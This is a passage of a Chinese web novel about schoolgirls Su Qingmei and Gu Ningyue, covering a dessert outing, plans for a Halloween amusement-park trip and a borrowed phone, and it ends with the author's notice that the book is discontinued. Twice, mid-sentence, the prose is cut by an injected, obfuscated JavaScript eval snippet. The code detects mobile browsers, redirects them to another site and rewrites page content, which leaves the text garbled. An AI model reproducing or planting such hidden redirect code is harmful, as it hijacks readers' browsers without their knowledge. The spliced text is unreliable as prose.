老郑表扬她的时候,苏晴眉悄悄地把脑袋埋下去,因为只有她才知道自己参加比赛的目的并不单纯——她想要奖金,这样就能把充电台灯的钱还给顾宁越了。但是没逛过护眼灯专柜的苏晴眉不知道,她每晚点亮的那盏看起来平平无奇的小台灯,实际上价格远不止顾宁越告诉她的二十块那么低。 第二天早上八百米决赛,刘凯俐组织了全班同学去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏晴眉新奇地翻看菜单,小食光也有甜品,是蛋挞、面包那一类的,这家的甜品以糖水和冰淇淋居多,苏晴眉没吃过。 乔梦灵,庄晓和艾萌都大方地点了一份,刘凯俐按照之前说好的点了两份,苏晴眉把菜单翻了两遍,选了一份看起来很漂亮的冰淇淋香蕉船。 乔梦灵非得让大家等甜品上齐以后才能吃,她举着手机对准满桌子甜品咔咔拍了好几张照片:“吼吼,今天我的九宫格又有喽~你们都给我点赞啊。” 顾宁越打开微博,关注界面跳出一大堆花里胡哨的内容,她扶额:“每天都是你刷屏。” 庄晓不说话,点赞评论一套熟练的操作已经丝滑完成。 乔梦灵看向刘凯俐,艾萌和苏晴眉:“你们还不是我的粉丝,来来来我们互粉!” 刘凯俐从包里找出手机:“马上。” 苏晴眉局促地忽闪两下睫毛,双手放在桌子下面忸怩地攥着裤腿,声音小小的:“粉丝不是吃的那个粉丝吗?” 乔梦灵噤声,其他人也安静下来,气氛陷入了一种奇怪的尴尬。 苏晴眉羞愧地低下头,双颊慢慢发红。怎么办,她刚刚才交到几个很好的新朋友,可是因为她的孤陋寡闻好像又要不合群了…… 25. 第 25 章 顾宁越笑了一声打破尴尬的沉默:“我终于找到同道中人了,我第一次听说这个时候也以为是吃的粉丝,还问别人要米粉还是红薯粉,哈哈哈。” 乔梦灵也跟着哈哈笑了两声:“我也是我也是。”她急忙跟苏晴眉解释:“这个粉丝是Fans的音译,玩的谐音梗,意思是关注微博账号的人。” 多亏了顾宁越的解围,这下苏晴眉明白了大家丝毫没有鄙夷她的意思,不禁暗自松了口气,她对这些朋友充满了感激,想要更加积极的融入她们。 苏晴眉主动了解她不知道新鲜事物:“微博是怎么玩的?”偶尔听班里的同学说过,好像是去年才有的社交媒体。 乔梦灵把自己的微博界面给她看:“就是这样,有点像企鹅空间的说说,可以发一段文字,还可以发图片,分享生活。” 苏晴眉弯起眉眼,指着屏幕里的甜品图片说:“我们吃的。” “对呀。” 苏晴眉不好意思地说:“其实我也不会玩企鹅空间。” 乔梦灵道:“没什么呀,每个人都有自己的爱好,比如说我旁边这个家伙,她就不喜欢玩企鹅和微博,只喜欢拼积木。”她指了指坐在身边的庄晓。 苏晴眉:“庄晓做的是飞机模型和机器人吧。” 乔梦灵吃了一大勺双皮奶:“反正都差不多啦,我也搞不懂~” 庄晓说:“我也搞不懂你拍的有些照片,反正你叫我点赞我就赞。” 乔梦灵问苏晴眉:“对了,晴眉,你的爱好是什么?放假都在家里玩什么啊?” 顾宁越也想知道,看向她:“是啊,晴眉你有什么兴趣爱好吗?学习不算。” “唔……”苏晴眉刚想说学习的,她仔细想了想,不确定地说,“看风景?” 乔梦灵不太理解:“旅游吗?” “不是,我就坐在家门口,或者割猪草的时候看看路上的风景。” “这不算爱好吧,爱好得是钢琴,唱歌,画画之类的。” 苏晴眉放下甜品勺,单手托腮:“嗯……赶集?每月十五镇里的早集很热闹,有很多卖糖果的,有卖连环画的,有时候运气好能碰到玩杂耍的,很有趣。” 乔梦灵:“相当于逛街和看演出?我也喜欢热闹,嘿嘿~” 说到这,乔梦灵顿时来了精神,她兴奋地站起来:“这周末桐溪游乐园有万圣节活动!我妈妈单位发了好几张门票,我们一起去玩吧!” 刘凯俐先是面露喜色,随即遗憾地说:“我不行,我好多作业没做。” 艾萌也很遗憾:“我也不行,我要是周末不学习去游乐园,我妈能把我耳朵叨出茧,再赏我一记铁砂掌。” 乔梦灵惋惜地叹气,问顾宁越和苏晴眉:“你们呢?” 顾宁越说:“我看情况,如果晴眉去我就去。” “晴眉!”乔梦灵眼巴巴地望向她。 苏晴眉陷入犹豫:“我?我周末要写作业,还要兼职……” 乔梦灵合掌向她乞求:“去嘛去嘛,人多才好玩,游乐园离学校不远,坐半个小时公交车就到了,我们周日去玩两个小时,你就当学习期间放松,劳逸结合嘛。每次乐园举办的主题活动都很有意思,周末万圣节我们可以戴着面具去跟工作人员要糖果,还能领南瓜灯。我妈发的那些票放着也是放着,不如我们用掉。” 苏晴眉听着她的描述,眼中逐渐生出浓浓的兴趣,内心开始动摇:“只要那张票就能进乐园随便玩,不用花其它的钱吗?” 乔梦灵当即明白她在担心什么,也清楚她的家庭情况,于是解释说:“对,只用票就能进去免费玩,只要不玩标明额外收费的项目就不会再花钱。” 苏晴眉纠结了一小会,最终没能抵挡住游乐园的诱惑:“好,我去玩。” “噢耶!”乔梦灵开心地举起双手,指向顾宁越,“晴眉说要去,你也必须去。” 顾宁越点头:“去去去。” 存在感微弱的庄晓开口了,她问乔梦灵:“你怎么不邀请我?” 乔梦灵做出很惊讶的样子:“你这话不够姐们儿,我哪次玩没带过你?哼哼~肯定是有你的啦。” 庄晓做了个还算满意的表情,继续吃她的糖水。 乔梦灵欢天喜地制定周日游乐园计划,和大家讨论几点钟到游乐园的大门口集合,期间大家如何联系。 几个人互相交换手机号码和企鹅号,乔梦灵拉了个群。 “呃,晴眉的话,到时候就跟着宁越吧?你俩一个寝室好联系,周日玩完还能一块回学校上晚自习。”乔梦灵征求她们的意见。 苏晴眉害怕给顾宁越添麻烦,连忙说:“我两点钟自己到游乐园就行。” 乔梦灵不放心:“游乐园人很多,万一你找不到我们,或者走错方向了怎么办?还是让顾宁越先到寝室接你,我们一路才好联系。” 顾宁越说:“我这周末就住寝室,后天跟晴眉一起出发就行了。” 乔梦灵拍手:“完美~” 苏晴眉问顾宁越:“你今天不回家了吗?” 顾宁越给她一个安心的眼神:“不回了,这两天把作业做完,后天直接去游乐园,我妈这周出差去了不在家,我回去一个人也没意思,还省了来回跑。” “噢,好的。” 秋季天黑的早,她们吃完甜品,赶在六点钟之前回家。 说好了是顾宁越请客,但是同样拿到运动会奖金的人都出了餐费,相当于大家AA了。 另几个人离开后,顾宁越送苏晴眉去小食光,等到八点以后两个人一起回寝室。 苏晴眉到了寝室就打开台灯写作业,顾宁越拉开书桌抽屉,拿出一只白色的盒子,闲聊地问:“晴眉,你一般怎么跟家里联系?” 苏晴眉边默写文言文边说:“我妈妈一般会给我打寝室里的座机,我有一张公共电话的IC卡,在外面的话可以用。” “噢。”顾宁越轻轻摩挲盒子的表面。 苏晴眉可能因为周日要去游乐园心情格外的好,多聊了一句:“我还有一个以前妈妈用的翻盖手机,不过它坏了,经常自动关机,电量也耗的很快,几乎用不了。” 顾宁越站起身,走到她的书桌边,把那只白盒子放到桌上:“这个借给你。” “什么?”苏晴眉抬头扶了下眼镜,看到语文书旁边的手机盒,惊讶地放下签字笔,“手机?!” “对。”顾宁越从包里拿出刚发售不久的水果4s,“我换了新手机,盒子里是我以前用的手机和配件,如果你不介意是旧的话我借给你用,周末游乐园办活动人肯定特别多,你带着手机我们可以随时联系,还能分享定位,不用怕走丢。” 苏晴眉结合刚才的聊天,试探地说:“所以你刚才问我怎么和家里联系是为了这个呀?” “是的。”顾宁越不想直接问她是不是没有手机,答案很明显是没有,有可能让苏晴眉尴尬,毕竟她 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顾宁越点开个人资料的窗口,问苏晴眉:“你想叫什么网名?” 苏晴眉略加思索,在昵称栏输入:雨过天晴。 顾宁越觉得这个网名有种莫名的中老年风,但又莫名的符合苏晴眉身上的励志风格。 苏晴眉简单编辑好个人资料,用一张青山绿水的图片当头像,顾宁越跟她加上好友,把她拉进企鹅群,把群友全都炸出来了。 【[雨过天晴]通过[如故]加入了群聊。】 蝶梦娇:我的天!这是哪位老师?! 超级凯利:这个网名和头像好像郑老师,哈哈哈哈哈! 庄州梦蝶:苏晴眉? 萌萌:欢迎欢迎O(∩_∩)O 如故:这是晴眉,大家加一下她的好友。 蝶梦娇:OK~晴眉,我去你的空间踩一踩,不跑堂~群公告看一下哦,有游乐园的手绘地图和后天的游玩路线! 超级凯利:晴眉晴眉,你的生物作业做了吗?这道题这么做? 超级凯利:[题目照片] 萌萌:你们数学卷子最后一道大题的三角函数怎么解的? 庄州梦蝶:网上搜。 超级凯利:? 蝶梦娇:呜呜呜好羡慕你们能讨论作业啊,我要背好多政史地QAQ 一瞬间涌来大量的企鹅消息把苏晴眉淹没,她挨着通过大家的好友申请,看着好友栏里多出来的几个头像,热热闹闹的充满暖意。 苏晴眉浏览群里的题目,翻开生物练习册,打开手机相机对准写好的答案,忽然,她鬼使神差地把镜头一点点转向身侧。 镜头里,顾宁越抬头对她微笑,唇若朱丹,明眸皓齿,苏晴眉心头漏了一拍,忘记了按下那个拍照的圈。 顾宁越等了两秒,见苏晴眉没有拍照,伸手去拿她手里的手机,告诉她:“按下面中间这个圆圈就可以拍了。” “像这样。”顾宁越举起手机,微微倾身靠近苏晴眉,镜头对准她们,相机界面里现出她们两人的脸庞,顾宁越扬起嘴角,“茄子。” 喀嚓。 相册里新增一张双人合影,照片中的苏晴眉惊慌地张开了嘴巴,一旁的顾宁越笑得阳光灿烂,背景是干净整洁的寝室,头顶洒下来暖白的灯光。 26. 【对不起!】 亲爱的小宝们: 对不起! 写下这些文字的时候,我的内心充满了愧疚,很抱歉地告诉大家——我决定停止这本书的创作。 原因有两个,一是我现在生活出了很大的问题,需要花时间和精力去解决。二是我在写这本书的时候总是会想起一些本来已经忘记的、学生时代的痛苦记忆,这些负面情绪阴魂不散地纠缠着我,让我的精神和身体状态越来越糟糕,经常失眠甚至出现心悸,我很难受也很恐慌,很压抑。这一点是我一开始构思这个故事时没想到的,然而动手开始写后那些遗忘的记忆却像洪水一样涌出,每天累积,直到把我彻底淹没,再也无法继续。我的初衷是想写出积极乐观,温暖光明的故事,可是写作中我的体验却完全相反,它对我而言非常沉重,形成了精神上的反噬。 我纠结了很久,决定及时止损。 我把剩余的存稿全部发出来了,这本书就到这里。我还纠结过要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995330|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要把全文的大纲剧情发出来,最终觉得还是算了,正文都停止了,发大纲好像也没有多少意义。 过几天我会锁定这本书。 万分感谢所有宝子的阅读和灌溉!能够在茫茫人海中遇见如此温柔的你们是我的幸运。 最后,我再次为辜负了大家而诚挚的道歉!对不起! 最后的最后,祝愿大家在新的一年里万事如意,愿我们都能被生活和岁月温柔以待,一路鲜花阳光。